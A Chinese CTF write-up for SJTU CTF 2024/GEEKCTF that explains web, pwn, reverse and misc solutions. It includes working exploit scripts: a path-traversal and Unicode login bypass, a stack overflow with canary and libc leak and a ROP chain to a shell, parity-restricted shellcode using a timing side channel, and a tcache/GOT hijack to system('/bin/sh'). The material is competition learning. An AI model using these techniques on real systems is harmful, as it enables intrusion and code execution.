前言
记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag可能会略有不同,但是解题的方法应该是一样的。
WEB
Secrets
本题的漏洞点是任意文件读取+特殊字符绕过upper/lower。
攻击流程如下:
选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset
路由
1 | Accept-Encoding: gzip, deflate |
看上去是用来读取不同主题的css文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。
在登陆页面查看网页源代码,发现body后面有一串看不懂的编码,放到cyberchef里一个个试发现是Base85:
其中比较重要的是app.py和populate.py。
将Cookie
改成asset=app.py
会回显hacker,改成asset=assets/css/../../app.py
即可得到网站的源代码。
在app.py
里面硬编码了用户名和密码:
1 | def isEqual(a, b): |
但是isEqual
要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码,大写化后又要等于。第一眼看懵了,小写不相等但是大写相等?问下claude:
进一步搜索发现upper对unicode特殊字符的处理有些问题,用unicode
包裹起来才会得到正确的大写。不过claude给的字符似乎不对,直接用Python遍历unicode字符好了:
1 | def find_replacement_char(ch): |
只找到了i
的替代字符ı
,s
的替代字符ſ
。输入用户名alıce
,密码ſtart2024
,登录成功!
再看看populate.py:
1 | import os |
也就是说“type=secrets”会给我们flag,但是在app.py里还有过滤:
1 | type = request.args.get("type", "notes").strip() |
我们需要让and前面的逻辑表达式为否才能够不返回错误、获得flag。
因此要想查看flag,type的参数需要是secrets的变体,页面上给secrets的ts划了下划线,猜测是提示将这两个字符换成特殊字符。
打开Burp的intruder,payload选用simple list,从网上下载了一个特殊字符的列表来爆破ts
。
最后ts替换成ƾ时,response的length不一样,点进去看详情就能看到flag。
flag:
1 | 0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1} |
PWN
Memo0
本题的漏洞点是整数溢出和栈溢出。但是用不到,只需要逆向出密码。
攻击流程如下:
首先要输入密码登录,密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==
对比,长得很像base64,但是用base64解码出来不对。把sub_12E9
的加密函数丢给claude,直接逆出了密码。。。
1 | def decode(encoded_data): |
但是好像有点问题,将À
改成?
就对了。
一开始没有在本地新建flag
文件,ida里面还把win
函数看漏了。。。导致还在继续用栈溢出去劫持control flow调用win
,其实逆向出密码就可以得到flag。
完整exp:
1 | nc 111.186.57.85 40310 |
flag:
1 | 0ops{U_r_th3_ma5ter_0f_ba5e64} |
Memo1
本题的漏洞点是整数溢出和栈溢出。
攻击流程如下:
首先checksec:
1 | Arch: amd64-64-little |
保护全开。然后看main函数,发现供用户输入的字符串在栈上,大小是264字节,乍一看用户也只能输入0x100即256字节,很安全。但是在实现edit
功能的函数里面:
1 | lea rax, aLld ; "%lld" |
可以发现,允许用户输入的是有符号数,而比较的时候却是根据无符号数进行比较,然后在读取用户输入的时候又使用其低32位作为允许输入的长度,因此会出现类似0xffffffff00000109 < 0x8
的情况,却允许用户输入0x109
个字节。
为了能够输入我们想要的长度,需要将0xffffffff00000109
这样的数转换成相应的负数:
1 | def convert_to_signed(num): |
至此,我们总结一下能够利用的漏洞:
可以利用整数溢出在栈上写非常长的内容,因此可以利用栈溢出劫持程序控制流。
但是由于保护全开且没有win函数,因此我们需要先leak canary,然后leak libc,最后在栈上布局 ROP chain 来 get shell。
我们先在sub_170e
函数(读取用户输入的函数)处下一个断点,观察栈的布局。
发现canary距离用户输入的起始位置为0x108字节,因此我们需要覆盖用户输入的前0x109字节为非0字符,然后调用show就可以连带canary一起输出出来。而读取用户输入的sub_170e
函数是一个带0截断的函数:当我们输入\n
会被替换成\x00
,如果长度参数正好等于我们输入的长度,就不会添0。因此我们需要让其长度参数恰好等于0x109,也就是在调用edit
时,输入的长度为convert_to_signed(0x109)
。然后输入0x109个A
,再调用show,最后7位就是canary的高7位。
用户输入的起始位置加上0x118个字节是libc的地址,与基地址的偏移是0x29d90,使用和leak canary几乎一样的方法可以leak libc。
最后就是在栈上布局 rop chain 了。因为有libc,因此可以直接用libc的gadgets,使用pwntools构造一个execve(‘/bin/sh’,0,0)的Rop,在栈上canary的位置填入canary,返回地址处布局rop chain,即可得到shell。
1 | rop = ROP(libc) |
完整exp:
1 | from pwn import * |
flag:
1 | 0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233} |
Shellcode
本题的考察点正如题名是shellcode,但是seccomp只允许了open和read,没有write,因此需要利用循环来实现类似侧信道攻击。另外,对shellcode的字节做了限制:
偶数索引处的字节必须是偶数,奇数索引处的字节必须是奇数
1
2
3
4
5for ( i = 0; i < v5; ++i )
{
if ( (char)(*((char *)buf + i) % 2) != i % 2 )
return 0xFFFFFFFFLL;
}大于0x80的奇数不能用
1
2
3
4
5
6
7
8
9
10mov rax, [rbp+buf]
add rax, rdx
movzx eax, byte ptr [rax]
mov edx, eax
sar dl, 7
shr dl, 7
add eax, edx
and eax, 1
sub eax, edx
movsx ecx, al这段实际上是将shellcode的字节作为一字节的有符号数来对2取模,因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1,但是对索引的取模是看作无符号数,因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在shellcode中,这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、call、ret、syscall全都禁止掉了。
思路:
由于我们还要进行侧信道攻击,不可能每爆破一个字节都构造一个能满足要求的shellcode,因此考虑分两个阶段:
- 阶段1:调用read函数,rdi设置一阶段shellcode的起始位置,并将返回地址设置为这个起始地址
- 阶段2:输入二阶段进行侧信道攻击的shellcode,read将返回到我们输入的这个shellcode
每个二阶段shellcode爆破一个字节:将[flag_addr+i]与每个可见字符作比较,相等时进入死循环,通过对时间的测量就能知道flag的每个字节是哪个字符值。
开凑:
先凑一阶段的shellcode。由于限制非常多,因此考虑尽量利用栈上已有的内容和寄存器中已有的内容(pop和push某个寄存器都是一字节的指令,不同寄存器奇偶性质不同,很容易满足限制的要求)。
rsp的最顶端是返回地址即
main+0xc4
,我们将这个地址pop到rax,然后对rax进行xor操作,可以得到read@plt,方便后续调用read库函数。有了这个思路,我们就需要布置好read的参数。rdi现在恰好是0,符合我们的要求,不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度,经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度,因此我们只需要将rsp+0x8的低8位值放到rdx中去即可:1
2
3
4
5
6
7
8pop rax
pop rbx
nop
xor edx, ebx
pop rbx
xor ax, 0x03e6
xor ax, 0x100
sub al, 1这样就已经将read@plt放到了rax里面,并布置好了rdi, rsi 和 rdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、call、ret、syscall都不符合这道题的过滤要求。怎么办?想起之前用ROPgadget的时候看到ret{num}这种形式的指令,去搜了一下,发现是ret之后,令rsp增加num字节。字节码是:
b'\xc2\x01\x00'
正好满足要求。但是又出现一个新的问题:栈指针增长奇数个字节后,我们就无法控制返回地址了。
因此想到,如果在ret {num}之前先让栈增长或者减少奇数字节,而且这个命令能够通过过滤,就能解决这个问题。搜索发现有一个enter指令:
enter
指令的完整格式是:1
enter bytes, level
其中:
bytes
是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。level
是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。
我这里用一个
enter 0x1, 0x3
,level是我随便指定的,在gdb里面看效果:
栈指针减少了0x21字节,那么我们再用ret 9就可以让栈重新和8字节对齐,在那之前先把read@plt的地址push入栈,ret的时候才能返回到read,等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的shellcode地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15nop
push rbx
push rax
push rbx
push rax
push rbx
enter 0x1, 0x3
nop
pop rbx
push rax
push rbx
nop
pop rbx
ret 0x0009
pop rbx至此第一阶段就构造完成了,第二阶段的shellcode就是open(‘flag’, 0)然后read第i个索引处的字节,与各个可见字符进行比较,如果相等就死循环,通过时间判断是否命中,逐字节爆破到
}
为止,完整exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126# no write for us
# defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
# by pass shellcode check reference:
# - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
# - https://ctftime.org/writeup/33656
# - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
# - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/
from pwn import *
binary = context.binary = ELF('./shellcode')
# context.log_level = 'critical'
shellcode1_part1 = asm('''
pop rax
pop rbx
nop
xor edx, ebx
pop rbx
xor ax, 0x03e6
xor ax, 0x100
sub al, 1
nop
push rbx
push rax
push rbx
push rax
''')
shellcode1_part2 = asm('''
push rbx
enter 0x1, 0x3
nop
pop rbx
push rax
push rbx
nop
pop rbx
ret 0x0009
pop rbx
''')
shellcode1 = shellcode1_part1 + shellcode1_part2
lenth = len(shellcode1)
padding_times = int((0x200 - lenth) / 2)
padding = b'\x90\x61' * padding_times
shellcode1 = shellcode1 + padding
for i, c in enumerate(shellcode1):
# if c >= 0b10000000:
# log.info("bad byte %s at index %d" % (hex(c), i))
# log.error(shellcode1)
if i & 1 != c & 1:
log.info("bad byte %s at index %d" % (hex(c), i))
log.error(shellcode1)
if c & 1 == 1 and c > 0x80:
log.info("negative byte %s at index %d" % (hex(c), i))
log.error(shellcode1)
# we need brute force every byte of flag
# the seach space is 0x20 ~ 0x7e
search_space = [i for i in range(0x20, 0x7e)]
flag_probable_len = 0x40
flag = ''
for i in range(flag_probable_len):
for ch in search_space:
# p = process(binary.path)
p = remote('111.186.57.85',40245)
p.recvuntil(b'Please input your shellcode: \n')
### stage1: call a read syscall to read shellcode
p.send(shellcode1)
### stage2: fuck yeah! we can send shellcode without limitation now
# but we have no write
# so we have to use ways like side channel
shellcode2 = asm(f'''
lea rdi, [rip+flag]
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
loop:
xor rax, rax
xor rbx, rbx
mov al, byte ptr[rsp+{i}]
mov bl, {ch}
cmp al, bl
je loop
flag:
.string "./flag"
''')
shellcode2 += b'\x90' * (0x200 - len(shellcode2))
p.send(shellcode2)
# learned from changcheng cup...
p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop
# otherwise the program will die
sleep(1)
# if p.poll() == None:
# flag += chr(ch)
# print("flag is now: ", flag)
# p.close()
# break
# else:
# p.close()
# continue
try:
detection = p.fileno()
p.recv(timeout=0.1)
flag += chr(ch)
print("flag is now: ", flag)
p.close()
break
except:
p.close()
continue
if flag[:-1] == '}':
break
print(flag)flag:
1
0ops{practice_handwrite_shellcode}
flat
本题的考察点是deflat去混淆和tcache劫持。
其实题目对deflat的提示很明显,但是我一开始没往这方面向,直到出flag才知道要用deflat,一开始是自己手动去混淆的:
先看明白了每种操作对应一个opcode,然后找==
,然后根据i=xxxxx
去找casexxxxx
,有if的就猜测可能是对什么进行判断(比如索引、size),然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了:
48879: 退出程序
4112:堆块写,但是最后一位由程序置零(edit_0_end)
e.g. edit_0_end(index, payload)
会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0
768: malloc
e.g. malloc(index, size, payload)
会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0
2989: 堆块写(edit)
e.g. edit(index, payload)
会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度恰好等于size
4919: free
e.g.free(index)
会检查0<=inex<31,检查address处是否已经为空,然后将对应address和size都置零。
57005: 堆块读(puts)
会对index所对应位置的size和address做非空检查,且0<=index<31,然后puts堆块内容
但是这里的0截断并没有off-by-null漏洞,在how2heap找了半天找不到利用方法。于是在gdb里先试着:
1 | from pwn import * |
发现mallo个两次0x100大小的堆块程序就退出了,于是在第一次后面把gdb附上去:
十分离谱……我到现在也没弄明白这个漏洞是哪里来的。
换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值,分别是我们输入的0x80处和0x88处,也就是说我们在0x80和0x88处写上合法的地址,下一次malloc相应大小的chunk就能控制我们输入的地址。
checksec一下:
1 | Arch: amd64-64-little |
那么我们现在需要做的就很清晰:
- leak libc
- got hijacking
- get shell
首先,准备好用于leak和劫持的堆块,以及写有/bin/sh
的堆块;然后malloc一个可用大小为0x90的堆块,malloc一个可用大小为0x330(实际大小为0x340)的堆块并free掉,使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager
地址(也就是该程序用来管理堆块的区域起始地址)。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时,就会返回heap_manager
的地址。我们往这里面填入0x1000和free_got的地址,这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块,且位于free_got。因此我们这时再puts(0)
就不会报错,也就能够leak出libc中free的地址,也就知道了libc的基地址。然后利用这个基地址知道system的地址,往0写入这个地址,也就将free劫持到system。最后我们free(1)
,1是我们之前放/bin/sh
的地方,此时执行system('/bin/sh')
,得到shell。
完整exp:
1 | from pwn import * |
flag:
1 | 0ops{learning_deflat_trick_to_defeat_ollvm} |
REVERSE
Peer-Trace
这道题的考察点是ptrace和strace的用法。
peer程序会调用puppet程序,并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。
先从网上学习了下ptrace的用法,主要关注PTRACE_POKEDATA
, PTRACE_SETREGS
因为这两个会修改被监视子程序的内存/寄存器。
puppet程序的逻辑是读取一个输入,长度需要为48字节,然后逐字节与0x28异或,最后与ct区域的48字节做比较。
建议使用strace
观察程序运行过程中ptrace
相关内容:
1 | strace ./peer |
peer程序的主要逻辑可以通过观察PTRACE_POKEDATA
, PTRACE_SETREGS
和相应的ida伪代码得到:
对输入的48字节做下面的逻辑:
- 分为8组,对每组:
- 交换0,5
- 交换1,7
- 交换2,6
- *((_BYTE *)v25 + j) -= j + i,其中j是组内索引,i是组号,v25是每组的起始地址
- 交换3,4
在异或0x28后,劫持程序,对每个字节做如下修改:
1
2
3
4
5
6v25[0] = 0xA39C3E6994313F40LL;
v25[1] = 0x17872470565B9B60LL;
v25[2] = 0x11A918AABA97CA68LL;
v25[3] = 0xB8F1B0AB9B3DD3B0LL;
v25[4] = 0x488749FB6A1835E4LL;
v25[5] = 0x82926F78FE98158LL;每个字节分别与peer中此时的v25中对应字节相加,舍去进位。
最后再与puppet程序中ct区域的48字节作比较,需要相等。整个过程都是相对简单的可逆过程,将算法反过来即可。完整exp如下:
1 | from pwn import * |
flag:
1 | 0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP} |
MISC
QrCode2
本题考查的是二维码的结构和标准qrazybox的使用。
之前在做hackergame还是geekgame的时候碰到一道华维码,是华容道和二维码还原的结合。题目没做出来,但是在群里看到个二维码仙人,整天在群里发他还原二维码的过程。这下真用上了,快说谢谢二维码仙人。
贴一个二维码仙人的二维码教程
要用到的工具是qrazybox
由于定位块缺失,我先直接根据图片把已知的黑色白色都填充上,然后一个一个试纠错等级,发现只有M0是符合的,然后用qrazybox的tools把padding bits补上:
但是缺失的内容实在太多了,无论是直接提取还是用Reed-Solomon Decoder都得不到flag,但是通过Data Sequence Analysis可以看到message data有一个}
,而题目已经告诉我们这题的flag格式为flag{.*},根据二维码格式,我们将前5位message data修改位flag{
,这时候再用Reed-Solomon Decoder已经可以得到flag了。
修改数据后的结果:
flag:
1 | flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v} |
WhereIsMyFlag
本题考察的是视力和对数据的处理能力。
在github的commit记录最后可以看到:
1 | import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA==')) |
运行这段代码发现处理后的数据还是1f8b
开头,推断仍然是gzip。直接写到文件里去:
1 | import gzip |
然后再终端反复解压缩,得到二进制文件后strings一下:
1 | gzip -d out.gz |
就可以得到flag:
1 | flag{760671da3ca23cae060262190c01e575873c72e6} |
RealOrNot
本题考查的是写脚本的能力,大概。
pow challenge 应该是区块链中的概念?但是和这道题关系不大,这题的pow challenge直接让AI就能写,要花太长时间的challenge就跳过好了。
给的server.py并不会输出第几张图片判断错了,但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片,服务器会每次选20张让我们判断真伪,因此我们可以先将所有图片都随便打上标签,然后根据标签去向服务器发送答案,服务器每次都会给我们纠错一张,我们根据错误信息修改对应图片的标签,很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。
保存图片的脚本:
1 | import hashlib |
这道题的标签我一开始是用模型打的,但是准确率并不高。exp如下:
1 | import hashlib |
flag:
1 | flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!} |
RealOrNotRevenge
本题考察的是谷歌识图的能力。
下载图片和之前一样,这道题我下载下来只有86张图片。我全部拿去谷歌识图,能搜到的大多数是unsplash上的图片。能搜到的我都标记Y,搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图,但是应该可以写代码调用API?
exp如下:
1 | import hashlib |
flag:
1 | flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!} |
f and r
本题考察的是信息检索能力和动手能力。
几乎全靠这篇文章:
https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html
根据文章提到的步骤把msu里面的cab提取出来:
1 | mkdir content |
发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。
需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。
文中有这么一段:
To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:
1
2
3
4
5
6 PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=
何意呢,目测是说:
我们有一个比较新的文件,一个旧补丁,一个处于中间的补丁。利用旧补丁的r回到旧版本,再用中间补丁的f就可以生成中间版本。
update.mum
里面有一串网址:https://support.macrohard.com/help/5034203
好好好把巨硬改成微软,发现是KB5034203更新,那就把这个msu下载下来,提取出其中curl的f和r。
然后用KB5034203的r回滚到旧版本,用题目给的f生成我们要的二进制文件。
1 | python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe |
得到flag:
1 | flag{ dc1d03c554150a cedca6d71ce394 } |
去掉空格即可。
Boy’s Bullet
本题考查图片exif编辑能力和阅读理解能力。
回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了,我作为一个2024年出生的照片也应该38岁时噶,所以应该是2062年。刚开始这个时间戳没搞明白啥意思,一开始文件名里带时间错,后来在图片里加时间戳,后来才猛地想起exif也有时间戳。
用这个网站随便修改了一张图片的exif信息(Modify Date),然后上传:
1 | curl -T 2062.jpeg http://111.186.57.85:10038 |
就能得到flag:
1 | flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p} |
没记flag,学校那个莫名连不上,换geekctf复现的。
条评论